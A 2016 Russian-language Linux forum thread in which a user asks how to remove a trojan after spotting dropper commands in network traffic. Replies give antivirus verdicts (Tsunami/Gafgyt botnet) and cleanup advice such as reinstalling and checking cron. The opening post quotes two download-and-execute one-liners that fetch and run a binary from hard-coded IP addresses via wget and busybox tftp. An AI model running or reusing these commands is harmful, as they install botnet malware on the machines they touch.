Троян lolcunt

2

2

Кажется, я подхватил какой-то троян. Слушал трафик и заметил там странную вещь:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://95.211.217.225/lolcunt; chmod 777 lolcunt; ./lolcunt; rm -rf lolcunt

Или.

cd /tmp || cd /var/ || cd /dev/;busybox tftp -r min -g 91.134.141.49;cp /bin/sh .;cat min >sh;chmod 777 sh;./sh

Если перейти по ссылке http://95.211.217.225/lolcunt, там лежит файл в формате elf. Как можно эту дрянь убить?

Ссылка

←	PhpMyAdmin 3.4.11.1

System-wide crypto policy в Fedora - как поживает?

→

rkhunter

~~newpunkies~~ ☆
(27.08.16 10:10:09 MSK)

Ответ на: комментарий от newpunkies 27.08.16 10:10:09 MSK

Проверял. Ничего не находит. Есть только несколько предупреждений.

[14:30:19] Warning: Suspicious file types found in /dev:
[14:30:19] /dev/.udev/rules.d/root.rules: ASCII text
[14:30:19] Checking for hidden files and directories [ Warning ]
[14:30:19] Warning: Hidden directory found: /etc/.java: directory
[14:30:19] Warning: Hidden directory found: /dev/.udev: directory
[14:30:19] Warning: Hidden file found: /dev/.initramfs: symbolic link to `/run/initramfs'

vasya256
(27.08.16 10:34:59 MSK) автор топика

Ссылка

Antivirus	Result	                        Update
Avast	        ELF:Tsunami-DC [Trj]	        20160827
ESET-NOD32	a variant of Linux/IRCBot.K	20160826
Fortinet	ELF/Gafgyt.MIPS!tr	        20160827
Kaspersky	HEUR:Backdoor.Linux.Tsunami.bm	20160827
Qihoo-360	Win32/Trojan.86d	        20160827

Не Mint?

greenman ★★★★★
(27.08.16 10:55:58 MSK)
Последнее исправление: greenman 27.08.16 10:58:44 MSK (всего исправлений: 1)

Ответ на: комментарий от greenman 27.08.16 10:55:58 MSK

Ботнет кароч, ничего серьезного. Переустанавливай убунту, vasya256.

~~newpunkies~~ ☆
(27.08.16 10:58:49 MSK)

Ссылка

Делай бэкап данных, переустанавливай ОС, восстанавливай данные из бэкапа

deadNightTiger ★★★★★
(27.08.16 11:02:55 MSK)

Ссылка

cp /bin/sh .;cat min >sh;chmod 777 sh;./sh

Неужели это ещё где-то прокатывает?

no-such-file ★★★★★
(27.08.16 11:41:19 MSK)

Ссылка

Хорошее название.

~~entefeed~~ ☆☆☆
(27.08.16 14:41:22 MSK)

Ссылка

Вот тебе и Mint. Всегда знал, что овно.

das_tier ★★★★★
(27.08.16 15:35:02 MSK)

Ответ на: комментарий от das_tier 27.08.16 15:35:02 MSK

ТС умудрился под линукс троян подхватить? Как?

Vsevolod-linuxoid ★★★★★
(28.08.16 20:49:12 MSK)

Ответ на: комментарий от Vsevolod-linuxoid 28.08.16 20:49:12 MSK

вероятно, вот так: http://blog.linuxmint.com/?p=2994

das_tier ★★★★★
(28.08.16 21:22:30 MSK)

Ссылка

Если оно было запущено из-под рута, то переустановка системы. Если в твоем ядре существуют уязвимости, позволяющие повысить привилегии, то тоже переустановка.

Если было запущено из-под ограниченного пользователя - то достаточно посмотреть, что этот пользователь мог сделать в системе. Сразу же посмотри, например, крон - /var/spool/cron/*, и /tmp, /var/tmp. Имя этого пользователя также укажет на то, каким именно способом малварь проникла в систему.

Deleted
(29.08.16 01:07:17 MSK)